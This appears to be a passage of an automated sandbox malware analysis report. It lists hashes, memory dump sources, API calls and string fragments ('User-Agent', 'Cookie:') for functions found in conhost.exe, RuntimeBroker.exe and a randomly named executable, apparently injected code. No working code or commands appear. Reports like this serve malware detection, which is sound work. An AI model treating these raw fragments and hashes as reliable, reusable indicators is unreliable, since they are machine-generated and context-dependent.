Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: A031D4724002086FEF417F749D4AABA3BACFF11300F000165FD85DA0A6EA7449A9CFB6

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: conhost.exePID: 2892, Parent PID: 7396COMMON

Executed Functions

Function 00900811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0090092A
RtlExitUserThread.NTDLL ref: 00900933

Memory Dump Source

Source File: 00000021.00000002.2882880281.0000000000900000.00000040.00000001.00020000.00000000.sdmp, Offset: 00900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_900000_conhost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 807355393fe14c1897a20badd90106663a8bf34a3f2784256eb9570d4bf43842
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 9A31E472000204AFEB017B709D86BBA3BACFF91300F444166FD85DA0E2EA7549A48AB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RuntimeBroker.exePID: 5820, Parent PID: 7396COMMON

Executed Functions

Function 00890811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0089092A
RtlExitUserThread.NTDLL ref: 00890933

Memory Dump Source

Source File: 00000023.00000002.2416975568.0000000000890000.00000040.00000001.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_890000_RuntimeBroker.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 07823f00acbba98c857846331e43a59f6ae1f0485edbcd5ffcc4fcbcede751e9
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 1931E872514209BFEF017B749D4AABA3BACFF11300F480165BD85EA0A6DA744D54CEB6

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RuntimeBroker.exePID: 404, Parent PID: 7396COMMON

Executed Functions

Function 00030811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0003092A
RtlExitUserThread.NTDLL ref: 00030933

Memory Dump Source

Source File: 00000024.00000002.2879966123.0000000000030000.00000040.00000001.00020000.00000000.sdmp, Offset: 00030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_30000_RuntimeBroker.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 399418c09c5b7e2c3d73a8b0021ab89984c00016f6ce4307ea0ddb10d8413dad
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: DB31E4720112046FEB037B709D9AAFA3BACEF11300F044166BD85DA0A7EE744965CAB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: BjCNEZCMnwLaEEzWr.exePID: 3288, Parent PID: 7396COMMON

Executed Functions

Function 0153093E Relevance: .1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000025.00000002.2920211818.0000000001530000.00000040.00000001.00020000.00000000.sdmp, Offset: 01530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_1530000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction ID: bfb71d6599cb9aa37b775a7998da41e31f27bb2c06e961b9814277841c08e0c5
Opcode Fuzzy Hash: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction Fuzzy Hash: 5F51A0316443559FEB239F24CC85B9A7BBCBF44740F0401D9BA49FF0D6DAB09690CA65

Uniqueness

Uniqueness Score: -1.00%

Function 015314BC Relevance: .1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000025.00000002.2920211818.0000000001530000.00000040.00000001.00020000.00000000.sdmp, Offset: 01530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_1530000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e691a712de486e4dfceb288b4c3d9d3fe3d652e5e2e3b2f50e0e601de67137e
Instruction ID: bc842a58cbe7f3129858502c201789af0a962d056c29377c56ff0e5c7dacd0b7
Opcode Fuzzy Hash: 4e691a712de486e4dfceb288b4c3d9d3fe3d652e5e2e3b2f50e0e601de67137e
Instruction Fuzzy Hash: AB210C72404A159EDB03AF70C9C8CAA73ECFF80604F45096A9D89EF049FE709554CAE6

Uniqueness

Uniqueness Score: -1.00%

Function 01531345 Relevance: .1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000025.00000002.2920211818.0000000001530000.00000040.00000001.00020000.00000000.sdmp, Offset: 01530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_1530000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: e3e00bfc64eeedb08cf9e19d048e16e8a9b44262a705f9935532f7c1e0a6df41
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: 42218E31A04216AFEB119E78C884B5DBFB5BF44700F054215FA55BF594D770E810CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 015314DE Relevance: .1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000025.00000002.2920211818.0000000001530000.00000040.00000001.00020000.00000000.sdmp, Offset: 01530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_1530000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4917235bce67b0bd341cc4376806be672fb8739d92a651c71d1172738683fcb
Instruction ID: 05c7f1cc36f858789376472e338b7915f94e5e79cdef9c1388d9f3152c6f32a9
Opcode Fuzzy Hash: d4917235bce67b0bd341cc4376806be672fb8739d92a651c71d1172738683fcb
Instruction Fuzzy Hash: 82115972404A159EEF03AF70C5C8CAA73ECFE90604B4509AA9D85EF449FE709564CAE5

Uniqueness

Uniqueness Score: -1.00%

Function 01533F0D Relevance: .0, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000025.00000002.2920211818.0000000001530000.00000040.00000001.00020000.00000000.sdmp, Offset: 01530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_1530000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction ID: 8fe12d3cb3e441990bee6a0556aa354f8604d869ddfd465e044947236253c73c
Opcode Fuzzy Hash: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction Fuzzy Hash: F2F01C70588243AAFF813BB08C4965D3BB8BFE0786F440591AAD9EF0D4DE7885509E75

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 01534675 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

nt: , xrefs: 015347B6
Cook, xrefs: 01534728
-Age, xrefs: 015347B0
ie: , xrefs: 0153472E
User, xrefs: 015347AA

Memory Dump Source

Source File: 00000025.00000002.2920211818.0000000001530000.00000040.00000001.00020000.00000000.sdmp, Offset: 01530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_1530000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction ID: 843821476b653e7af06adfb0cb1c55024d2b10ba47123d3dd80fc51a7be7e39b
Opcode Fuzzy Hash: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction Fuzzy Hash: 88414DB6500208BFEF125FA9CC48B9EBFB9FFC0704F154069EA44AB254D7709641CB94

Uniqueness

Uniqueness Score: -1.00%

Function 01534674 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

nt: , xrefs: 015347B6
Cook, xrefs: 01534728
-Age, xrefs: 015347B0
ie: , xrefs: 0153472E
User, xrefs: 015347AA

Memory Dump Source

Source File: 00000025.00000002.2920211818.0000000001530000.00000040.00000001.00020000.00000000.sdmp, Offset: 01530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_1530000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction ID: 8ff097804311596a3df30e51f96364c48d0216ecfa56fdd983d7458a784f881c
Opcode Fuzzy Hash: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction Fuzzy Hash: 24415EB6500209BFEF129FA5CC44BEEBFBAFF80704F154069EA44AB254D7709641CB94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: BjCNEZCMnwLaEEzWr.exePID: 1104, Parent PID: 7396COMMON

Executed Functions

Function 0277093E Relevance: .1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000026.00000002.2919008021.0000000002770000.00000040.00000001.00020000.00000000.sdmp, Offset: 02770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_2770000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction ID: 1835c947e943b83780b4cd22295aa6014adf4b8c4f26172a25fa54c6c25ed047
Opcode Fuzzy Hash: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction Fuzzy Hash: 61516F316442549FEF239F60CC85B9A77B8AF04744F0401DABA49FE0D6DBB09694CF69

Uniqueness

Uniqueness Score: -1.00%

Function 027714BC Relevance: .1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000026.00000002.2919008021.0000000002770000.00000040.00000001.00020000.00000000.sdmp, Offset: 02770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_2770000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8359f379aab296cf034102068ae67c8d17d9b0a7435fec540ab5f7bd7715324
Instruction ID: 443e740e63229586a96b899a25baebc676cc1c6ef315b6e964f3ec2fd23c94c0
Opcode Fuzzy Hash: c8359f379aab296cf034102068ae67c8d17d9b0a7435fec540ab5f7bd7715324
Instruction Fuzzy Hash: CD21DA724046149EDF03AF60C9C99A673ECEF40704F85096A9D89EF049FA749554CFE6

Uniqueness

Uniqueness Score: -1.00%

Function 02771345 Relevance: .1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000026.00000002.2919008021.0000000002770000.00000040.00000001.00020000.00000000.sdmp, Offset: 02770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_2770000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: c18418e015073aebde6a2d486a5ba94792210602a3316be75c079c16e7e61c5c
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: B2219031904216AFDF119F78C888B5DBBB5AF04714F058215FD59BB594D770E910CB94

Uniqueness

Uniqueness Score: -1.00%

Function 027714DE Relevance: .1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000026.00000002.2919008021.0000000002770000.00000040.00000001.00020000.00000000.sdmp, Offset: 02770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_2770000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7414966d62ab92a52d97edb7ada7e3a23f2d9defc7b5a2a9815f1829eca1fdf5
Instruction ID: 9be023439c21f4178e71bb6f815313a5617ec5ecbb565cbc4abddc7b59534485
Opcode Fuzzy Hash: 7414966d62ab92a52d97edb7ada7e3a23f2d9defc7b5a2a9815f1829eca1fdf5
Instruction Fuzzy Hash: 8B1140724046149EEF03AF60C9C88AA73EDAE40708B8509BA9D89EE449FE709154CEE5

Uniqueness

Uniqueness Score: -1.00%

Function 02773F0D Relevance: .0, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000026.00000002.2919008021.0000000002770000.00000040.00000001.00020000.00000000.sdmp, Offset: 02770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_2770000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c9cd30d46be4e823d3ee55b0dac37f33b61cd8768b05aa00de7007601ee8eb1
Instruction ID: dee1f3bc44f52b6b022aa48a47762c96ad916b6e95fbb8d58c8600da25b4b5fe
Opcode Fuzzy Hash: 3c9cd30d46be4e823d3ee55b0dac37f33b61cd8768b05aa00de7007601ee8eb1
Instruction Fuzzy Hash: 7FF01C70588240AAEF423BB08C4D65D36B9AF42786F4405D1BA89BD0D4DE748550AE75

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02774675 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-Age, xrefs: 027747B0
Cook, xrefs: 02774728
nt: , xrefs: 027747B6
ie: , xrefs: 0277472E
User, xrefs: 027747AA

Memory Dump Source

Source File: 00000026.00000002.2919008021.0000000002770000.00000040.00000001.00020000.00000000.sdmp, Offset: 02770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_2770000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction ID: 44b537cb1e4068c5e1e881590ee1f7ee45e42a8a86b306bee26c7f06f92b03ad
Opcode Fuzzy Hash: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction Fuzzy Hash: BB4183B6500209BFEF125F65CC48BDEBFBAEF80704F154069EA44AA254D730D640CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02774674 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-Age, xrefs: 027747B0
Cook, xrefs: 02774728
nt: , xrefs: 027747B6
ie: , xrefs: 0277472E
User, xrefs: 027747AA

Memory Dump Source

Source File: 00000026.00000002.2919008021.0000000002770000.00000040.00000001.00020000.00000000.sdmp, Offset: 02770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_2770000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction ID: d6447917f34d8b5c9dad2d9ff1ee3941ec9376b265dfa9459e706f737605c8be
Opcode Fuzzy Hash: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction Fuzzy Hash: D44161B6500209BFEF129F65CC48BEEBBBAEF80704F1540A9EA44AA254D7309640CF94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: BjCNEZCMnwLaEEzWr.exePID: 1608, Parent PID: 7396COMMON

Executed Functions

Function 00B8093E Relevance: .1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000027.00000002.2914026861.0000000000B80000.00000040.00000001.00020000.00000000.sdmp, Offset: 00B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_b80000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction ID: da7ca05d182f83af127f364aca65f5a39e3682622c12be431f8d6ebd2a216912
Opcode Fuzzy Hash: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction Fuzzy Hash: 855180315443549FEB127F20CC85B9A77F8EF04B84F0401D9BA45FE0E6DAB09A94CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00B814BC Relevance: .1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000027.00000002.2914026861.0000000000B80000.00000040.00000001.00020000.00000000.sdmp, Offset: 00B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_b80000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc032be1761e2e27ec16aa6f47ae36ec6219fc5cd5c4500d68a6f7b1eca660e1
Instruction ID: 9859aa73d91d984f498269e5d5c9d75708c5d803dd5b0322efbc2c344bf57cdf
Opcode Fuzzy Hash: fc032be1761e2e27ec16aa6f47ae36ec6219fc5cd5c4500d68a6f7b1eca660e1
Instruction Fuzzy Hash: 2F210172405614AFDB03BF60C9C9CA673ECEF40704F4509AAAD85EF059FA709155CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 00B81345 Relevance: .1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000027.00000002.2914026861.0000000000B80000.00000040.00000001.00020000.00000000.sdmp, Offset: 00B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_b80000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: bdfd0894db0d2458072cd7c281198af1b6bb76ec83cc2cb0d0dc0e2885bc4dde
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: C121AE31904216BFDB11EE78C844B5DBBF9AF04300F054265F955BB5A4D730A801CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00B814DE Relevance: .1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000027.00000002.2914026861.0000000000B80000.00000040.00000001.00020000.00000000.sdmp, Offset: 00B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_b80000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fe8e250536a2cc792e0f46b2e11c914316ba17fdb804fdedba9ee654a488dd4
Instruction ID: 4fe2599983199d25972f4d17d25c93d4725538b0c3c07a2cf6945b6739a1e3ce
Opcode Fuzzy Hash: 2fe8e250536a2cc792e0f46b2e11c914316ba17fdb804fdedba9ee654a488dd4
Instruction Fuzzy Hash: 6911BF72404514AFEF03BF64C5C9CAA73ECEE40704B4509AAAD86EF45AFE709154CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 00B83F0D Relevance: .0, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000027.00000002.2914026861.0000000000B80000.00000040.00000001.00020000.00000000.sdmp, Offset: 00B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_b80000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c9cd30d46be4e823d3ee55b0dac37f33b61cd8768b05aa00de7007601ee8eb1
Instruction ID: 66ee34944db1ce85795d24834074fdf185ab01e1ada3324307dc9519e8458d0c
Opcode Fuzzy Hash: 3c9cd30d46be4e823d3ee55b0dac37f33b61cd8768b05aa00de7007601ee8eb1
Instruction Fuzzy Hash: D7F0F860988280EAEF403BB0C84A65D36F8AF50F05F0405D1BB89A90B6DE748650DFB5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00B84674 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Cook, xrefs: 00B84728
User, xrefs: 00B847AA
ie: , xrefs: 00B8472E
nt: , xrefs: 00B847B6
-Age, xrefs: 00B847B0

Memory Dump Source

Source File: 00000027.00000002.2914026861.0000000000B80000.00000040.00000001.00020000.00000000.sdmp, Offset: 00B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_b80000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction ID: 6547ce04c78843a9a1684fe4647091bc56b7b55abde43f0b53516e2daf779c93
Opcode Fuzzy Hash: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction Fuzzy Hash: D44163B6500209BFEF129F65CC44BEEBFF9EF80704F154099EA44AA254D770DA40CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00B84675 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Cook, xrefs: 00B84728
User, xrefs: 00B847AA
ie: , xrefs: 00B8472E
nt: , xrefs: 00B847B6
-Age, xrefs: 00B847B0

Memory Dump Source

Source File: 00000027.00000002.2914026861.0000000000B80000.00000040.00000001.00020000.00000000.sdmp, Offset: 00B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_b80000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction ID: 4bca4db7e7473a6a080133417cde99c004acb31b82f767ff5812d1cea330057b
Opcode Fuzzy Hash: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction Fuzzy Hash: C64185B6500209BFEF126F65CC48BDEBFF9EF80704F154099EA44AA254D770DA40CB94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: BjCNEZCMnwLaEEzWr.exePID: 5356, Parent PID: 7396COMMON

Executed Functions

Function 008B093E Relevance: .1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000028.00000002.2914978673.00000000008B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_8b0000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction ID: bc1375bfcc6c4fb9afce2438148d27e5bf9eb47df47ef3f40a3630ce9db3f32e
Opcode Fuzzy Hash: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction Fuzzy Hash: BF51A2316443549FEF225F20CC85BEA7BB8FF04740F040599BA45FE1D6DAB09A94CE66

Uniqueness

Uniqueness Score: -1.00%

Function 008B14BC Relevance: .1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000028.00000002.2914978673.00000000008B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_8b0000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5727545300d1671addd51e91b40c8cbd905ff098a5558d7618b97e1a8f51269
Instruction ID: a4c3dd8f05a5e6ec52a3ec352e3bbcc1c28d6220781223147056b2e73db891f7
Opcode Fuzzy Hash: f5727545300d1671addd51e91b40c8cbd905ff098a5558d7618b97e1a8f51269
Instruction Fuzzy Hash: 8121FA724046149EDF03AF60C9C98E673ECFF40704F8509AAA989EF14AFA749554CAE6

Uniqueness

Uniqueness Score: -1.00%

Function 008B1345 Relevance: .1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000028.00000002.2914978673.00000000008B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_8b0000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: d749f03bcca02727905f4d669a52390228d67a0ad3c9bcaf37a2f8fdd1d5d4a3
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: 56216D31904216AFDF119E78C849B9DBBF5AF08700F054215F955EF695D774A810CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 008B14DE Relevance: .1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000028.00000002.2914978673.00000000008B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_8b0000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d5916cffd13119fdbd97c2973cedf6b12916aa16a29f0e56b04471841f1574a
Instruction ID: 03ec4dd54afb6a2419abe3608a8f3c16a3564e3952de0d1dc26e0dd47ae5e0ed
Opcode Fuzzy Hash: 6d5916cffd13119fdbd97c2973cedf6b12916aa16a29f0e56b04471841f1574a
Instruction Fuzzy Hash: 9111E9724046149EEF03AF64C5C8CEA73ECFF40704B8509AAAD85EF54AFE749154CAE6

Uniqueness

Uniqueness Score: -1.00%

Function 008B3F0D Relevance: .0, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000028.00000002.2914978673.00000000008B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_8b0000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction ID: 22bb2547e1417a25f0d702569d004b5f781c736981ba61bd9986a772d00aed1d
Opcode Fuzzy Hash: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction Fuzzy Hash: E1F08270988640E7EF413BB48C4B6A93AB4FF00705F040190BA49ED3D2CE3056509E76

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 008B4675 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

nt: , xrefs: 008B47B6
-Age, xrefs: 008B47B0
User, xrefs: 008B47AA
ie: , xrefs: 008B472E
Cook, xrefs: 008B4728

Memory Dump Source

Source File: 00000028.00000002.2914978673.00000000008B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_8b0000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction ID: 10dabc0086b742d36991aebe5a0e4bc54c0b2b033fa7c7c926e660388da107de
Opcode Fuzzy Hash: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
